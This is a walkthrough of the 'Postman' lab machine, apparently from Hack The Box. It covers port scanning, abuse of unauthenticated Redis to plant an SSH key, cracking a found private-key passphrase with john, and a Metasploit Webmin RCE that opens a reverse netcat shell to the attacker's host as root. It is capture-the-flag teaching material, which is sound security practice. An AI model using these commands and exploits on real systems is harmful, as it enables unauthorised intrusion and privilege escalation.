

Nmap service and scripts enumeration showed three open ports, 22, 80 and 10000.

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http      Apache httpd 2.4.29 ((Ubuntu))
|_ http-title: The Cyber Geek's Personal Website
|_ http-server-header: Apache/2.4.29 (Ubuntu)
10000/tcp open  http      MiniServ 1.910 (Webmin httpd)
|_ http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

A search was made to get to know what is MiniServ, and we found that it is actually Webmin 1.910.

MiniServ 1.910 is the HTTP daemon associated with Webmin version 1.910, a Linux system administration interface that gained notoriety for containing critical remote code execution (RCE) vulnerabilities. It is primarily known for two distinct flaws: CVE-2019-15107, a backdoor in the password change script that allows unauthenticated command execution, and CVE-2019-12840, which permits authenticated users with "Package Updates" privileges to execute arbitrary commands as root.

The webmin interface was tested for default credentials root:blank, root:hp.com, but none worked, instead we got blocked.

Standard Linux Installation

- **Username:** root
- **Password:** The system's root password (the same password used for SSH or terminal access).
- **Alternative:** In some setups, the username is admin with a blank (empty) password, or the password set during the initial Webmin configuration wizard.

Searching for exploits regarding the version 1.910 it was found that are needed authentication, so, nothing to do here.

Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)

This module exploits an arbitrary command execution vulnerability in Webmin 1.910 and lower versions. Any user authorized to the "Package Updates" module can execute arbitrary commands with root privileges.

Here are two CVE's found if needed later:

<https://feedly.com/cve/CVE-2019-15107>

<https://www.exploit-db.com/exploits/47293>

```
sara@sara ~/D/H/H/Postman> ./test2.sh https://10.129.2.1:10000
Testing for RCE (CVE-2019-15107) on https://10.129.2.1:10000: OK! (target is not vulnerable)
```

<https://github.com/jas502n/CVE-2019-15642>

The site <http://10.129.2.1/index.html> was inspected but has nothing useful.

The source code was inspected in search for forgotten credentials or some clue, but nothing interesting.

```
<!DOCTYPE html>
<html lang="en">

  <!-- Basic -->
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">

  <!-- Mobile Metas -->
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

  <!-- Site Metas -->
  <title>The Cyber Geek's Personal Website</title>
  <meta name="keywords" content="">
  <meta name="description" content="">
  <meta name="author" content="">

  <!-- Site Icons -->
  <link rel="shortcut icon" href="images/favicon.ico" type="image/x-icon" />
  <link rel="apple-touch-icon" href="images/apple-touch-icon.png">
  <!-- All core CSS -->
  <link href="css/bootstrap.css" rel="stylesheet">
  <link href="css/font-awesome.min.css" rel="stylesheet">
  <link href="css/all.css" rel="stylesheet">
  <link href="style.css" rel="stylesheet">
  <link href="css/responsive.css" rel="stylesheet">
  <link href="css/colors.css" rel="stylesheet">
```

Now, a full port scan was performed in search for anything else that could help us break in.

PORT	STATE	SERVICE
22/tcp	open	ssh
80/tcp	open	http
6379/tcp	open	redis
10000/tcp	open	snet-sensor-mgmt

This revealed a redis open port that we miss on first nmap scan.

It was found that the port does not request for authentication.

```
nmap --script redis-info -sV -p 6379 <IP>
```

```
nc -nv 10.129.2.1 6379
```

A simple netcat was enough to connect to the port and get information by doing "info", the following was obtained:

```
sara@sara ~/D/H/H/Postman> nc -nv 10.129.2.1 6379
(UNKNOWN) [10.129.2.1] 6379 (redis) open
info
$2727
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:9435c3c2879311f3
redis_mode:standalone
os:Linux 4.15.0-58-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
```

You were able to issue Redis commands directly without `NOAUTH Authentication required`.

That means you can try Redis write-based abuse. In Postman, the intended idea is usually:

1. Generate or use your SSH public key.
2. Insert it into Redis as a key value.
3. Change Redis' working directory to a writable `.ssh` directory.
4. Set the database filename to `authorized_keys`.
5. Force Redis to save the database to disk.
6. SSH in using your private key.

```
redis-cli -h 10.129.2.1 -p 6379
```

Then enumerate safely:

```
CONFIG GET dir
CONFIG GET dbfilename
CONFIG GET requirepass
KEYS *
```

You are looking for whether Redis can write somewhere useful, especially a user's SSH directory such as:

`/home/redis/.ssh`

`/home/Matt/.ssh`

`/var/lib/redis/.ssh`

```
10.129.2.1:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
10.129.2.1:6379> CONFIG SET dir /var/lib/redis/.ssh
OK
```

This exploit works, <https://github.com/iw00tr00t/Redis-Server-Exploit/blob/master/redis.py>

```
sara@sara ~/D/H/H/Postman [1]> python2 redis.py 10.129.2.1 redis
*****
* [+] [Exploit] Exploiting misconfigured REDIS SERVER*
* [+] AVINASH KUMAR THAPA aka "-Acid"
*****
```

Privilege Escalation

```
redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)
redis@Postman:~$ sudo -l
[sudo] password for redis:
```

We do not have password for redis.

```
./linpeas.sh -a > output.txt
```

```
less -r output.txt
```

```
Sudo version (T19)
https://book.hacktricks.wiki
Sudo version 1.8.21p2
```

Summary of Findings

- * Current User: redis (uid=107, gid=114).
- * OS: Ubuntu 18.04.3 LTS (Kernel 4.15.0-58-generic).
- * System Services:
 - * redis-server is running as the redis user.
 - * apache2 and webmin are running as root.
- * Network: Port 6379 (Redis) is listening on 0.0.0.0.

```
/usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
```

Found: /var/lib/redis/.gnupg

total 20

drwx----- 3 redis redis 4096 Jul 8 21:56 .

drwxr-x--- 7 redis redis 4096 Jul 8 21:13 ..

drwx----- 2 redis redis 4096 Aug 25 2019 private-keys-v1.d

-rw----- 1 redis redis 32 Jul 8 21:56 pubring.kbx

-rw----- 1 redis redis 1200 Jul 8 21:56 trustdb.gpg

```
redis@Postman:~/gnupg/private-keys-v1.d$ find / -name *.asc 2>/dev/null
/usr/share/webmin/webmin/jcameron-key.asc
redis@Postman:~/gnupg/private-keys-v1.d$ file /usr/share/webmin/webmin/jcameron-key.asc
/usr/share/webmin/webmin/jcameron-key.asc: PGP public key block Public-Key (old)
```

```
redis@Postman:~/gnupg$ ls /opt
id_rsa.bak
redis@Postman:~/gnupg$ cd /opt
redis@Postman:/opt$ file id_rsa.bak
id_rsa.bak: PEM RSA private key
```

```
sara@sara ~/D/H/H/Postman> ssh-keygen -y -f /tmp/id_rsa.bak
Enter passphrase for "/tmp/id_rsa.bak":
sara@sara ~/D/H/H/Postman [SIGINT]> ssh2john /tmp/id_rsa.bak > /tmp/hash.txt
sara@sara ~/D/H/H/Postman> john /tmp/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008 (/tmp/id_rsa.bak)
1g 0:00:00:00 DONE (2026-07-08 19:07) 14.28g/s 3525Kp/s 3525Kc/s 3525KC/s copper04..comett
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

computer2008

The password was not valid to access via SSH as the user Matt, but the password can be used in webmin for the same user Matt.

```
msf exploit(linux/http/webmin_package_updates_rce) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf exploit(linux/http/webmin_package_updates_rce) > run
[*] Started reverse TCP handler on 10.10.14.73:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.910 appears to be vulnerable
[*] Attempting login
[+] Logged in!
[*] Sending payload
[*] Command shell session 1 opened (10.10.14.73:4444 -> 10.129.2.1:40772) at 2026-07-08 19:26:32 -0700

id
uid=0(root) gid=0(root) groups=0(root)
cat /home/Matt/user.txt
271c1d2bf7b1e58984bbab54a1cbeccc
cat /root/root.txt
89d3245bf7045e21ec3ff4359a1debe8
```



You have solved Postman!

Congratulations



SaraSarita

best of luck in capturing flags ahead!

#17130

Machine Rank

09 Jul 2026

Pwn Date

Retired

Machine State

 **450**

XP Earned

Ok

Share